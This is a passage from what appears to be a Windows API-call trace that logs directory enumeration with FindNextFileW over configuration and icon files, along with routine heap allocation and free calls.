ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758260 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107abd0 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4140) returned 0x107ba48 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0069.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.799] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, 